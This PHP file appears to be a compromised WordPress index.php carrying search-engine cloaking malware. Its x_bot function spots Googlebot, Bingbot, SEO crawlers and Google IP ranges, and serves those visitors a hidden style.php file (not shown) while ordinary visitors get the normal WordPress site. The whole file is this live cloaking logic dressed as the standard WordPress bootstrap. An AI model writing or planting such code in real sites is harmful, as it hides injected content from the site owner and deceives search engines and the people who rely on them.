<?php
function x_bot() {
    $u = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $i = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $parts = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $i = trim($parts[0]);
    }
    $agents = array('Googlebot', 'InspectionTool', 'AdsBot', 'Mediapartners', 'APIs', 'Producer', 'Verification', 'bingbot', 'YandexBot', 'Baiduspider', 'DuckDuckBot', 'Slurp', 'AppleBot', 'Facebot', 'Twitterbot', 'SemrushBot', 'AhrefsBot', 'MJ12bot', 'DotBot');
    foreach ($agents as $g) {
        if (stripos($u, $g) !== false) return true;
    }
    $ips = array('66.249.', '66.102.', '74.125.', '209.85.', '216.239.', '64.233.', '172.217.', '172.253.', '108.177.', '142.250.', '142.251.', '35.184.', '35.185.', '35.186.', '35.187.', '35.188.', '35.189.', '35.190.', '35.191.', '35.192.', '35.193.', '35.194.', '35.195.', '35.196.', '35.197.', '35.198.', '35.199.', '35.200.', '35.201.', '35.202.', '35.203.', '35.204.', '35.205.', '35.206.', '35.207.', '35.208.', '35.209.', '35.210.', '35.211.', '35.212.', '35.213.', '35.214.', '35.215.', '35.216.', '35.217.', '35.218.', '35.219.', '35.220.', '35.221.', '35.222.', '35.223.', '35.224.', '35.225.', '35.226.', '35.227.', '35.228.', '35.229.', '35.230.', '35.231.', '35.232.', '35.233.', '34.64.', '34.65.', '34.66.', '34.67.', '34.68.', '34.69.', '34.70.', '34.71.', '34.72.', '34.73.', '34.74.', '34.75.', '34.76.', '34.77.', '34.78.', '34.79.', '34.80.', '34.81.', '34.82.', '34.83.', '34.84.', '34.85.', '34.86.', '34.87.', '34.88.', '34.89.', '34.90.', '34.91.', '34.92.', '34.93.', '34.94.', '34.95.', '34.96.', '34.97.', '34.98.', '34.99.');
    foreach ($ips as $p) {
        if (strpos($i, $p) === 0) return true;
    }
    return false;
}

$bot = x_bot();

if ($bot) {
    if (file_exists(dirname(__FILE__) . '/style.php')) {
        require dirname(__FILE__) . '/style.php';
    } else {
        header('HTTP/1.1 503 Service Unavailable');
    }
    exit;
}

define('WP_USE_THEMES', true);
require dirname(__FILE__) . '/wp-blog-header.php';